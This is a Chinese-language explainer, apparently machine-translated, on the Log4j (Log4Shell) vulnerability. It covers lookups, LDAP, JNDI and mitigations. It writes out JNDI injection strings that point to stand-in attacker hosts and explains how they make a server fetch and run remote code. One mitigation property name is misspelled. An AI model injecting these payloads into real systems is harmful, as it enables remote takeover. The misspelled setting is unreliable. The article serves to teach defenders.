什么是 Apache Log4j 漏洞?
2021 年 12 月 9 日,全世界都意识到了单个、最大、最严重的漏洞,即 CVE-2021-44228,它影响了基于Java的日志记录实用程序 log4j。该漏洞由阿里云安全团队陈兆军于 2021 年 11 月 24 日向 apache 报告,并于 2021 年 12 月 9 日在推文中发布。
Apache 软件基金会的最高严重性评分为 10/10。该漏洞允许攻击者远程执行代码,payload字符串看起来像“${jndi:ldap://attacker.com/a}”。许多受组织影响的服务包括 Cloudfare、苹果 iCloud、我的世界: Java版、流、腾讯 QQ 和 Twitter。
什么是 log4j 和查找?
Apache log4j是一个基于 java 的日志工具。 Apache log4j 的作用是记录信息以帮助应用程序顺利运行,确定正在发生的事情,并在发生错误时调试进程。 log4j 可以将登录尝试(用户名、密码)、提交表单和 HTTP 标头(用户代理、x-forwarded-host 等)记录到日志文件或数据库中。
Apache log4j 2.0 引入
- 新的插件系统
- 支持属性
- 支持 JSON 基础配置
- 自动重新加载其配置
查找提供了一种在任意位置向 log4j 配置添加值的方法。
句法:
${prefix:name}
查找类型如下:
- 上下文可能查找
- 日期查询
- 环境查找
- jndi 查找(漏洞的主要原因)
- Java查找
- ${Java:版本}
- ${Java:runtime}
- ${Java:os}
在学习 log4j 漏洞利用之前,让我们先简单了解一下 LDAP 和 JNDI
什么是 LDAP?
轻量级目录访问协议 (LDAP) 是一种开放标准应用程序协议,用于通过 Internet 协议网络访问和维护分布式目录信息服务。简单来说,信息树隐喻称为目录信息树 (DIT)。假设用户使用用户名和密码在应用程序中注册。这里 LDAP 服务器将用户信息存储在他的帐户中。每当用户尝试登录应用程序时,LDAP 服务器都会使用授权验证用户身份。如果用户的用户名和密码正确,则返回用户的帐户。
什么是 JNDI?
JNDI 为应用程序提供了一个 API,用于与注册到 RMI 注册表或目录服务(如 LDAP)的远程对象进行交互。因此, Java应用程序不能直接向 LDAP 服务器请求,因为我们需要 jndi,它为我们提供了与 LDAP 交互的方式。
Query: ${jndi:ldap://[server-ip-address]}
它特定于服务提供者接口 (SPI),它允许将目录服务实现插入到框架中。
如何利用 log4j 漏洞?
Log4j 允许记录的消息包含格式字符串,这些格式字符串通过Java命名和目录接口 (JNDI) 引用外部信息。这允许通过各种协议远程检索信息,包括轻量级目录访问协议 (LDAP)。
假设其中一项服务容易受到 log4j 漏洞的影响。在用户级视图中,当用户执行登录尝试等任何操作时,log4j 会记录用户数据,例如用户名、http-headers(用户代理:Mozilla/5.0(Windows NT 10.0;Win64;x64))。在攻击者的情况下,它插入指向他们控制的恶意 LDAP 服务器的 JNDI 查询引用,准备好为恶意Java类提供他们选择的任何操作。当 log4j 在日志消息中看到以下查询时:
${jndi:ldap://attacker_ldap_server.com/payload}
它指示 JNDI 向位于“attacker_ldap_server.com”的服务器请求“paylod”对象。 JNDI 将执行 LDAP 服务器引用的Java类。如果 LDAP 服务器的响应引用 URL http://attacker_ldap_server.com/payload,JNDI 将自动从网络服务器请求文件“payload”并执行响应。和 yaa BOOM ......!现在您可以在应用程序中获得 RCE(远程代码执行)。
减轻
1. Log4j 1.x 缓解
- Log4j 1.x 不受此漏洞的影响。
2. Log4j 2.x 缓解
- 升级到 Log4j 2.3.2(适用于Java 6)、2.12.4(适用于Java 7)或 2.17.1(适用于Java 8 及更高版本)。
3.Log4j >= v2.10
- Log4j2.formatMsgNoLookuos=true
- LOG4J_FORMAT_MSG_NO_LOOKUPS=true
4.Log4j < v2.10
- 从类路径中删除 jndi 查找类
5. 阻止漏洞利用
- WAF 规则
- 出口过滤器